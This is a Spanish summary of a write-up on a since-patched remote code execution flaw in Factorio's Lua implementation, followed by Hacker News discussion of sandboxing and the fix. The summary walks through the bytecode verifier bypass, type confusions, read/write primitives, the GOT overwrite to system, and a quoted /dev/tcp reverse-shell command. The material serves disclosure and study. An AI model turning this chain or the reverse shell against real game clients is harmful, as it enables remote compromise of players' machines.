- La vulnerabilidad en la implementación de Lua de Factorio permitía que un servidor malicioso lograra ejecución de código arbitrario en el cliente que se conecta, y afectaba a versiones anteriores a 1.1.101, que ya fue corregida
- Como el multijugador ejecuta el mismo código Lua con un esquema lockstep determinista, un atacante podía provocar la vulnerabilidad por la ruta de red mediante un mapa personalizado malicioso
- En el centro del problema estaban la ejecución de bytecode permitida por
load/loadstringdel módulobase, además de unOff-By-Oney falta de validación de tipos en el verificador propio de Factorio - El exploit primero filtraba direcciones con una confusión de tipos en
FORLOOP, y luego manipulaba índices de upvalues para confundirLClosureconTString, construyendo objetos falsos y primitivas de lectura y escritura arbitrarias - El RCE en Linux reemplazaba la dirección GOT de
ldexpporsystemy abusaba de la llamada amath.ldexp; además, requirió ajustes separados por diferencias en offsets de estructuras de Factorio y en el formato%a
Alcance de la vulnerabilidad y ruta de exposición de Lua
- La vulnerabilidad en la implementación de Lua de Factorio permitía que un servidor malicioso lograra ejecución de código arbitrario en el cliente, y afectaba a versiones de Factorio anteriores a 1.1.101
- Lua se usa en Factorio para lógica del juego, mods y mapas personalizados
- Los mods pueden obtenerse dentro del juego o en Factorio Mods
- La comunidad de modding tiene miles de mods, y algunos superan las 500 mil descargas
- A simple vista parece un ataque local en el que habría que instalar manualmente un mod malicioso, pero por la forma de sincronización del multijugador, el intérprete de Lua queda expuesto en la ruta de red
- El multijugador de Factorio usa lockstep determinista
- No transmite el estado del juego como tal, sino solo las entradas del usuario por la red
- El juego de todos los jugadores debe simular cada tick de forma idéntica
- Si un jugador ejecuta código Lua, los demás también deben ejecutar el mismo código para mantener la sincronización
- Las rutas por las que un atacante podía ejecutar código Lua se resumen en dos
- Con permisos, ejecutar código Lua desde el servidor con el comando
/c - Crear un mapa personalizado con código Lua para que el cliente lo ejecute al conectarse al servidor
- Con permisos, ejecutar código Lua desde el servidor con el comando
- Si se exponía un servidor malicioso en el navegador de servidores, podía generarse un flujo donde la víctima descargaba el mapa y ejecutaba el código Lua
Flujo completo del ataque
- El ataque comenzaba con un servidor de Factorio que ofrecía un mapa malicioso
- El exploit iba incluido en el código Lua del escenario del mapa
- Cuando el cliente se conectaba al servidor, descargaba el mapa y ejecutaba el código Lua correspondiente
- Después, se aprovechaban debilidades de la implementación de Lua para construir un objeto falso (fake object)
- El objeto falso permitía filtrar memoria y corromper memoria
- Como resultado, se podían crear varias primitivas que llevaban a ejecución de código
- En lenguajes dinámicos, los objetos falsos son un medio clave para que el atacante obtenga un control fuerte
- Las cadenas pueden usarse para filtrar datos arbitrarios
- Los arreglos o tablas pueden usarse para escribir memoria arbitraria
- Si existe una ruta para invocar funciones nativas, se puede llegar al control del flujo de ejecución
Ejecución de bytecode de Lua y problemas del verificador
- Los módulos de Lua incluidos en Factorio son limitados
debug: acceso a funciones de depuraciónmath: interfaz matemática estándar de Cbit32: operaciones de bitsstring: manipulación de cadenastable: manipulación de tablasbase: funciones núcleo de Lua comoprint
- Aunque faltan módulos claramente peligrosos como
os.execute,loadyloadstringdel módulobasesí permiten la ejecución de bytecode, así que la superficie de ataque es grande - Lua primero compila el código fuente a bytecode de Lua y luego lo ejecuta en el intérprete
- El bytecode no es código máquina de CPU, sino una representación que solo puede ejecutar el intérprete de Lua
- Si se puede inyectar bytecode directamente, es posible ejecutar bytecode inválido que el compilador normal nunca generaría
- Los desarrolladores de Lua conocían el riesgo de ejecutar bytecode arbitrario y habían creado un verificador, pero lo eliminaron en Lua 5.2
- En la lista de correo de Lua quedó la idea de que el verificador existente se había eludido repetidamente y que las aplicaciones que ejecutan código Lua arbitrario harían mejor en no aceptar scripts precompilados
- Al parecer, los desarrolladores de Factorio implementaron su propio verificador de bytecode sobre Lua 5.2.1
- La lógica de protección se enfocaba en bloquear parámetros OOB evidentes, como saltos fuera del código o índices fuera del rango del arreglo de constantes
- Por el significado de algunos opcode había un problema
Off-By-One, y con offsets de salto comoJMP 0se podía saltar fuera del bloque de código - Como la región de constantes podía asignarse después del chunk de código, un atacante podía guardar bytecode en la sección de constantes y ejecutarlo saltándose la verificación mediante ese off-by-one
Filtración de direcciones: confusión de tipos en FORLOOP
- Los objetos internos de Lua se representan como
TValueTValueestá compuesto porValue, que guarda el valor, ytt_, que indica el tipoValueocupa 8 bytes y se interpreta como double o como puntero según el tipo
- En Lua 5.2, todos los números se representan como double
- Los números pueden almacenarse inline dentro de la unión
Value, sin pasar por un puntero - Si se logra que un puntero a cadena se interprete como número, los bits del puntero pueden filtrarse como un valor double
- Los números pueden almacenarse inline dentro de la unión
- En Lua normal,
print(function)puede mostrar una dirección, pero en Factorio eso fue eliminado y tampoco se podían filtrar directamente direcciones de cadenas - El opcode de bucle
FORLOOPnormalmente debe venir después deFORPREPFORPREPverifica que el valor inicial, el límite y el step sean numéricos- Dentro de
FORLOOPno se valida el tipo del parámetro step, y las verificaciones basadas enlua_assertno se fuerzan en builds por defecto
- Un atacante podía manipular el bytecode para eliminar
FORPREPy ejecutar soloFORLOOP- Eso construye con bytecode una situación que el compilador no produciría a partir de código Lua normal
- Si se coloca un objeto como una cadena en la posición del step, el puntero de ese
TValuese interpreta como double y se filtra
- El valor filtrado no se ve como un double normal, sino como los bits de un puntero interpretados como double, por eso aparece como un valor pequeño tipo
2.1944577826691e-317- IEEE 754 binary64 se compone de 1 bit de signo, 11 bits de exponente y 52 bits de mantisa
- Si el valor del puntero parece un double desnormalizado, el valor original puede recuperarse desde la mantisa
- Lua 5.2 no tiene pack/unpack ni tipos enteros, así que la conversión resulta complicada
- Al inicio se usó
string.format("%.13a", double)para leer mantisa y exponente y reconstruir el puntero - Un valor filtrado de ejemplo se reconstruyó como el puntero
0x43d6c0, y los datos reales de la cadena estaban 24 bytes después del encabezadoTString
- Al inicio se usó
Manipulación de upvalues y confusión de tipos en LClosure
- Un upvalue es el mecanismo de Lua para acceder a variables fuera del scope actual de una función
- La información de upvalues en el bytecode incluye índice, nombre, si está en la pila y el índice en la pila
- Un atacante puede modificar el índice de upvalue incluido en el bytecode
- Si se cambia ese índice, en vez de referirse a la variable local original puede apuntar a otro
TValuede la pila- En el ejemplo, se incrementó en uno el índice del upvalue
targetpara que apuntara alLClosurede la función actual - El bytecode manipulado imprime
LClosure: 0x...en lugar denil
- En el ejemplo, se incrementó en uno el índice del upvalue
- En Lua, la unidad real de ejecución de una función se divide entre Prototype y Closure
Protofunciona como plantilla de la función con bytecode, constantes, líneas de código fuente e información de upvaluesLClosurese crea en tiempo de ejecución y conectaProtocon la lista de upvalues
- El opcode
CLOSUREcrea un nuevo closure de Lua, lo pone en la pila y luego inicializa los upvalues- Si hay 3 variables locales, el nuevo
LClosurepuede quedar enbase + 3 - Si se cambia el índice de upvalue a
3, se puede capturar eseTValuecon elLClosure
- Si hay 3 variables locales, el nuevo
- Si una función interna sobrescribe el
LClosureexterno con una cadena y luego retorna, Lua intenta usar la cadena como si fuera unLClosure, provocando un fallo- La validación de tipos en la ruta de
OP_RETURNdepende delua_asserty no se fuerza en la configuración por defecto - Como resultado, el
cldel frame actual puede apuntar no a unLClosurereal, sino a unTStringcontrolado por el atacante
- La validación de tipos en la ruta de
- Aprovechando las diferencias de layout entre
TStringyLClosure, el área de datos de usuario de la cadena se superpone con las posiciones deProto *pyUpval **upval- Esa confusión de tipos permite controlar el puntero al prototype de la función y el puntero al arreglo de upvalues
- Si se hace apuntar a una región de memoria controlable, se pueden crear objetos falsos
Objetos falsos y primitivas de lectura/escritura
- Hay dos rutas principales para crear objetos falsos
- Una donde un
Protofalso apunta a un arreglo falso deTValue - Otra donde un arreglo falso de
UpValapunta aTValuefalsos
- Una donde un
- Se eligió la ruta de constantes porque tiene menos padding y permite reutilizar constantes dentro de la función
TStringfalso- Arreglo de
TValueque apunta alTStringfalso Protoque apunta al arreglo falso deTValueLClosureque apunta alProtofalso
- Un
TStringfalso puede configurarse con un largo arbitrariamente grande para usarlo como primitiva de lectura- Se asume que los datos de la cadena Lua están después del encabezado
TString - Con
str:sub()se puede leer memoria dentro del rango alcanzado por la cadena falsa - Como los índices de cadenas en Lua empiezan en 1, hace falta un ajuste de 1 byte al calcular el encabezado
- Se asume que los datos de la cadena Lua están después del encabezado
- La primitiva de escritura funciona haciendo que un
UpValfalso apunte alTValuede la dirección destino- Si se asigna un número a una variable Lua, se escribe un
TValuenumérico en esa ubicación - Los números se guardan inline en los primeros 8 bytes de
TValue, así que se puede controlar el área del valor - Al mismo tiempo, los siguientes 8 bytes reciben información de tipo, por lo que también puede corromperse memoria vecina
- Si se asigna un número a una variable Lua, se escribe un
- Como los números de Lua son double, para escribir un patrón de bits entero específico hay que convertirlo
- Se usa la unidad mínima de un double desnormalizado,
2^-1074 - La codificación queda como
integer_to_double(integer) = integer * 2^-1074
- Se usa la unidad mínima de un double desnormalizado,
Control del instruction pointer y bypass de ASLR
- Una
Light C Functionde Lua guarda un puntero a función inline dentro deTValue- El tipo de función es
LUA_TFUNCTION, yLight C Functionse representa con el valorLUA_TLCF22 - Si se colocan
0xdeadbeefen el área de valor deTValuey22en el área de tipo, puede invocarse como si fuera la función en esa dirección
- El tipo de función es
- Al llamar una
Light C Functionfalsa se puede controlar el instruction pointer- En el ejemplo,
RIPpasa a0xdeadbeefy el proceso falla - A partir de ahí se puede continuar con técnicas de alteración del flujo de ejecución como una cadena ROP
- En el ejemplo,
- El hecho de que el puntero de
Light C Functionse almacene inline también sirve para filtrar direcciones- Si funciones de Lua están implementadas como light C function, se puede leer la dirección de funciones como
printcon una primitiva de filtración - Eso permite calcular una base necesaria para evadir ASLR
- Si funciones de Lua están implementadas como light C function, se puede leer la dirección de funciones como
- Si funciones sandboxed siguen presentes en el binario, también es posible desviarse apuntando la función falsa a esa dirección y llamándola
Ajustes específicos para Factorio
- Las pruebas iniciales se hicieron con el intérprete oficial de Lua, pero la implementación de Lua de Factorio tiene un layout de estructuras distinto
- En el objeto GC
CommonHeaderde Factorio se agregó un punteroprevious- En Lua oficial, la estructura es
next,tt,marked - En Factorio parece ser
previous,next,tt,marked
- En Lua oficial, la estructura es
- Esa diferencia desplaza algunos offsets en 8 bytes
- El encabezado de
TStringpasa de 24 bytes a 32 bytes - Hay que corregir el cálculo de la dirección del contenido de la cadena y de las direcciones relativas de la primitiva de lectura
- También debe reflejarse el puntero adicional en el cálculo de
UpValfalsos y fake closure
- El encabezado de
- En Factorio, el comportamiento del formato
%atambién difería de las pruebas con Lua oficialstring.format("%.13a", 2.1038461432219e-316)no producía el esperado0x0.000000289c130p-1022, sino algo con la forma0xa.2704c00000000p-1052- Eso rompía la reconstrucción de doubles basada en formato de cadena
- La conversión final pasó a un método puramente numérico
- Los valores desnormalizados pueden verse como enteros que comienzan desde el bit menos significativo hacia la derecha
double_to_number(double) = double * 2^52 * 2^1022permite reconstruir el valor filtrado- Como
2^1074no puede representarse como double, la multiplicación se divide en dos pasos
RCE en Linux: reemplazo de GOT y math.ldexp
- En Linux, la ruta de RCE elegida usó reemplazo de GOT en lugar de una cadena ROP
- Se buscó una función importada invocable desde Lua y cuyo primer argumento pudiera controlarse
- Se sobrescribió la entrada GOT de esa función con la dirección de
system - Luego se llamó esa función desde Lua para que actuara como
system(command)
- Dentro de las bibliotecas Lua limitadas de Factorio,
math.ldexpresultó adecuada para ese propósito- Internamente llama a
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2)) - En verificaciones con GDB se confirmó que el segundo argumento de Lua terminaba pasando como primer registro de argumento
RDIen la llamada de libc
- Internamente llama a
- Como la GOT está antes del heap, no era fácil leerla directamente solo con la primitiva de lectura basada en cadena falsa
- La primitiva de lectura solo puede acceder a direcciones posteriores al encabezado de la cadena falsa
- Se aprovechó un segmento writable ubicado antes de la GOT para construir un
TStringfalso en una posición previa a la GOT
- Al crear el
TStringfalso antes de la GOT, se pudieron leer direcciones de funciones de libc y así evadir ASLR- En el ejemplo se leyó la dirección de
memcpydesde la GOT - Con offsets de libc 2.38 de Fedora 39 se calculó
libc_base = memcpy - 0x138b80ysystem = libc_base + 0x2a3b0
- En el ejemplo se leyó la dirección de
- Después se sobrescribió la entrada GOT de
ldexpcon la dirección desystem- En las direcciones de ejemplo, la ubicación
0x289ef00se usó como entrada GOT deldexp - Se sobrescribió con una operación del tipo
write(0x289ef00, system)
- En las direcciones de ejemplo, la ubicación
Ejecución del comando y shell remota final
- Al principio se intentó guardar el comando en una cadena de Lua y llamarlo con
math.ldexp(0, addr_of(cmd) + 32)- El comando tenía la forma
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" - Pero Lua llamaba a
ldexpcon un parámetro de 32 bits, así que los bits altos de la dirección de la cadena se truncaban y fallaba
- El comando tenía la forma
- La solución fue escribir directamente la cadena del comando en el segmento writable del binario que ya se había usado para crear cadenas falsas
- Como PIE no estaba habilitado, la dirección del binario principal era lo bastante pequeña
- La cadena del comando se escribió cerca de la dirección
0x289c150mediante varias llamadas awrite()
- La llamada
math.ldexp(0, 0x289c150)pasó a comportarse comosystem(0x289c150)después del reemplazo de GOT - El resultado final se confirmó con una shell conectada a un listener local
nc -lvp 9001- El prompt de la shell era
sh-5.2$ - El resultado de
whoamieravictim
- El prompt de la shell era
Desafío práctico y materiales de referencia
- Al final del artículo se ofrece un desafío basado en navegador para escapar del intérprete de Lua y ejecutar una función de JavaScript que no puede llamarse directamente desde código Lua
- Desafío: Escape from Alcawasm
- Enlaces de referencia relacionados
- Contexto de la eliminación del verificador de bytecode de Lua: copia en Wayback de la lista de correo lua-l
- Código del verificador Lua de Factorio: Factorio Lua
- Implementación numérica de Lua: Programming In Lua: Numbers
- Closures en Lua: Programming in Lua: Closures
- Explicación del formato
%a: GNU libc Floating-Point Conversions - Referencia de exploit en Lua 5.1 para Windows: Exploiting Lua 5.1 on 32-bit Windows
1 comentarios
Opiniones de Hacker News
Inesperado
Lua interpreta bytecode, así que pensé que podría comprobar si los argumentos de las instrucciones tenían sentido. Por ejemplo, cosas como si apuntan a memoria asignada por Lua.
Pero en la práctica no fue así: si le metes bytecode con argumentos inválidos, lo ejecuta igual. El proceso de compromiso continúa desde ahí.
Además, en vez de corregir el intérprete, el plan es analizar estáticamente el bytecode, pero eso parece funcionar solo para casos simples.
Para ser un lenguaje interpretado supuestamente amigable con sandboxing, es bastante decepcionante, y me pregunto si aceptarían un parche para corregir el intérprete de modo que no confíe en la entrada. Parece que les preocupa la pérdida de rendimiento, pero eso suena dudoso cuando la opción rápida es LuaJIT.
Ese enfoque parece razonable, porque mantiene la opción de cargar directamente bytecode de confianza, sin tener que meter verificaciones dinámicas en el intérprete que afecten a todos los usuarios.
Por diseño, Lua no ofrece garantía de terminación, ni hay una buena forma de forzar la terminación de programas no confiables. Si aceptas entrada Lua no confiable, debes asumir que el programa puede quedarse colgado indefinidamente.
Lua es excelente para entradas semiconfiables que pasaron una mínima diligencia, como código descargado de internet. Incluso si el código resulta ser malicioso, permite limitar mucho el daño, aunque no eliminarlo por completo.
Si necesitas entradas completamente no confiables al estilo JavaScript, lo adecuado es Luau, el fork de Roblox: https://luau-lang.org/sandbox
Como han mostrado otros lenguajes, crear un intérprete seguro para bytecode no es algo simple. También es una concesión para mantener simple la implementación de referencia.
En cuanto a ejecutar código de terceros, no confiaría en la mayoría de estos intérpretes. Incluso en los navegadores apenas confío, considerando la cantidad de dinero de I+D y atención que reciben.
Es lo mismo que no ejecutar código máquina arbitrario.
Luau también tiene la misma propiedad, y no es que Roblox sufra constantemente escapes del sandbox, ¿no?
Ojalá este tipo de cosas estuviera definido o documentado con más claridad. Estamos en una situación en la que uno mismo tiene que averiguar qué lenguajes pueden considerarse razonablemente seguros.
Por ejemplo, está el caso básico de código estático que el usuario ejecuta directamente, que es el escenario que suelen cuidar los lenguajes, incluido Lua.
También está el caso de recibir y ejecutar código dinámicamente durante un proceso de actualización, pero solo desde canales oficiales. Ahí quizá baste con asegurar el proceso, aunque no es seguro.
También hay casos en los que los usuarios pueden agregar código como plugins e instalarlo fácilmente con un botón desde una tienda. Los plugins pueden revisarse, pero casi nunca se hace bien, así que hay que evaluar si hace falta un sandbox o si el usuario debe tener cuidado.
También están los juegos multijugador donde solo el servidor se amplía con plugins, pero los clientes no. Hay que considerar que los gamers que levantan servidores prueban activamente muchos plugins, y que la comunidad de plugins puede ser mucho más riesgosa.
Por último, están los juegos multijugador en los que, como en un navegador, el servidor puede ejecutar código arbitrario en el cliente. En este caso hay que tener muchísimo cuidado con el sandbox del lado del cliente, porque los gamers entran a servidores arbitrarios sin pensar en las implicaciones de seguridad.
Factorio cae justo en este último caso. No necesariamente me opongo a que los desarrolladores tengan que evaluar esto, pero, por ejemplo, no siempre es obvio que la función
loadde Lua pueda ejecutar bytecode arbitrario inseguro.Sinceramente, no sabía que el bytecode de Lua fuera inseguro; sí sabía que el bytecode de LuaJIT era inseguro. Pero este hecho parece estar mencionado de vez en cuando, como si fuera algo obvio, en listas de correo o issues de GitHub.
También está el problema de que el servidor puede colgar al cliente. Basta con ejecutar un bucle infinito. Aunque esto es mucho más difícil de evitar, y tal vez ni siquiera tenga sentido intentar evitarlo.
No había una opción del lado del cliente para desactivar el navegador, y tengo entendido que los desarrolladores terminaron deshabilitándolo por completo, aunque no estoy seguro de su estado actual.
Esto muestra lo complejos que se han vuelto los juegos y los motores de juego. Hay un navegador web integrado en lugares donde no parece haber mucha razón para tenerlo.
Detrás de Factorio hay un equipo de desarrollo realmente bueno, así que confío en que están haciendo todo lo posible para corregir problemas como este. Dicho eso, el desarrollo de juegos en general tiene mucho de trabajo creativo, así que cosas como las prácticas de código o la seguridad parecen quedar relegadas
Me pregunto cuántas vulnerabilidades zero-day habrá escondidas en clientes y servidores de juegos
Flatpak puede servir como punto de partida. Un contenedor no es un límite de seguridad fuerte, pero puede detener exploits simples
No es solo una decisión de negocio para obligarte a usar sus servicios en línea oficiales. Si bloquean la conexión a IPs de servidores de terceros, aunque haya errores graves en el código de red o en el resto del juego, nunca podrán explotarse. Al limitar los mods, incluso los mods “seguros” como los de Lua, se pueden bloquear más exploits
Históricamente, el código de red con muchos bugs ha derribado el DRM de varias consolas
Además de los exploits, las consolas presumen de que el código pasa por revisión antes de distribuirse. Permitir la ejecución de Lua desde un sistema remoto significa que, aun después de la aprobación, el propio desarrollador podría reconfigurar el juego de forma remota, y los fabricantes de consolas no quieren permitir eso sin una revisión muy minuciosa
Lo ideal sería aislarla en una máquina virtual, pero configurar una máquina virtual para juegos es tremendamente engorroso y algunos juegos que usan anticheat podrían bloquearte
Si uno piensa en lo mucho que otros campos necesitan desesperadamente gente que programe bien, casi da pena que personas tan hábiles trabajen en juegos
En general, verificar programas es extremadamente difícil, no solo por el teorema de Rice. En especial en un lenguaje de bytecode no trivial como Lua, es demasiado fácil pasar algo por alto. Wasm, por ejemplo, no tiene el concepto de bucle for
Resulta raro que, después de que el proyecto upstream abandonara este problema por ser demasiado difícil, los desarrolladores de Factorio intentaran arreglar el verificador o escribir el suyo propio
La función
loadstringde Minetest prohíbe por completo el bytecode: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...Me pregunto por qué los mods de Factorio necesitan la capacidad de ejecutar bytecode Lua crudo. Si no la necesitan, tampoco habría hecho falta un verificador
Para empezar, ejecutar código Lua descargado por la red es bastante peligroso. Los entornos de ejecución de JavaScript llevan décadas en un ciclo de descubrir y corregir exploits. En Lua también pasa, pero a menor escala y con menos personal para mejorar la seguridad
Quizá la principal protección sea que hay menos gente ejecutando servidores de juego maliciosos
Por razones de seguridad similares, casi toda la biblioteca de depuración dejó de estar disponible para los mods
loadstring()de LuaPor ejemplo, hay una publicación de los desarrolladores de ROBLOX de hace 12 años: https://archive.is/oXPyM
Sinceramente, sería mejor desactivarla por defecto. Los usos legítimos son bastante de nicho
Además, crear software que simplemente no pueda ejecutarse en un entorno Turing completo es bastante limitante
En cualquier caso, realmente se necesita un intérprete que incluya un sistema de permisos sólido
Pero si aceptaste el compromiso de admitir solo algunas de las entradas que cumplen los requisitos reales, el teorema de Rice deja de ser el tema. Ahora, en vez de una tarea imposible, solo queda una tarea extremadamente difícil
Incluso si fallas, al menos puede consolarte que no te dirán que era algo imposible
Factorio no debería haber tomado este camino
Pregunta de completo principiante: me pregunto por qué los juegos usan Lua y no, por ejemplo, JavaScript embebido con una interfaz definida, como una API para ajustar el estado del juego
Parece que podrían beneficiarse del trabajo mucho más fuerte que se ha hecho para aislar entornos de navegador. Los navegadores son objetivos difíciles, muy bien probados y con muchísimo financiamiento
También se ha invertido muchísimo trabajo en optimizar el rendimiento con tipado dinámico
Además, si un mod necesita UI, existe canvas, y si se ofreciera un modelo parecido al DOM, potencialmente podrían usarse cosas como React
Lua fue creado específicamente para integración, así que hay mucha documentación y una gran comunidad que lo respalda
Además, estás confundiendo las API comunes de los navegadores con JavaScript. Un motor de JavaScript no proporciona canvas ni DOM. Por ejemplo, V8 tampoco los proporciona; tendrías que agregarlos tú mismo
No soy desarrollador de seguridad, pero por formalidad quiero decir: “¡wow, esto es tremendamente impresionante!”. Es difícil creer cuán clara y lógicamente hay que pensar para rastrear un caso de falla tan complejo. Definitivamente no es mi fuerte; yo soy mucho más del tipo “persona de ideas”.
En cuanto al contenido, siento que si aparece un grupo de ingenieros de software de IA equipado con 10 mil posts de blog sobre cómo encontrar exploits de memoria raros como este, estamos completamente acabados.
Al final, creo que necesitamos un paradigma totalmente nuevo para la seguridad, o al menos un nuevo componente dentro del stack. Lo de los clientes “confiables” modernos o los roles de DB se siente como parchar agujeros en un queso suizo.
Ojalá podamos agregar otra capa de queso suizo gestionada por LLM.
Entonces, ¿esto no muestra un exploit que depende de cargar bytecode, una función anunciada como explotable? ¿Qué me estoy perdiendo?
jmp, o el problema de que el intérprete de Lua intentara interpretar como instrucciones todo lo que le llegara a las manos.Incluso intentaba interpretar secciones de datos que el verificador no tocaba.
loadstringestá deshabilitado.Qué suerte que gente tan capaz esté del lado bueno.
Los medios te hacen creer lo contrario, y los comentarios promedio en esas noticias refuerzan esa creencia, pero si realmente fuera así, ¿cómo serían posibles muchos de los lujos y los programas médicos y de apoyo social de los que disfrutamos?
No digo que el mundo no tenga problemas, pero claramente hay muchas más personas constructivas que destructivas.
Vengo justo de un hilo de HN sobre los Panama Papers, así que tengo esta idea más presente. Ahí el ambiente era cínico, como si todos los ricos fueran malvados y todos se hubieran librado por completo de ser procesados, pero varios comentarios señalaron bien que en realidad ninguna de las dos cosas es cierta. Solo hay que leer un poco más abajo en el hilo y no dejarse arrastrar por el cinismo.
Creo que el bytecode de Lua nunca debería usarse fuera de sistemas embebidos que no tienen recursos suficientes para ejecutar el parser de código fuente Lua.
Aparte de vulnerabilidades de seguridad, el único uso que parece útil es para programas de código cerrado.
Quizá se me pasó, y admito que leí por encima la parte final, pero parece que el autor no cubrió en absoluto qué medidas de mitigación se aplicaron realmente. Me gustaría saber más sobre eso.
1.1.104: https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
Y 1.1.107: https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
La parte más relevante es el cambio en
luaB_loadde la 1.1.104, que simplemente deshabilitó la carga de bytecode.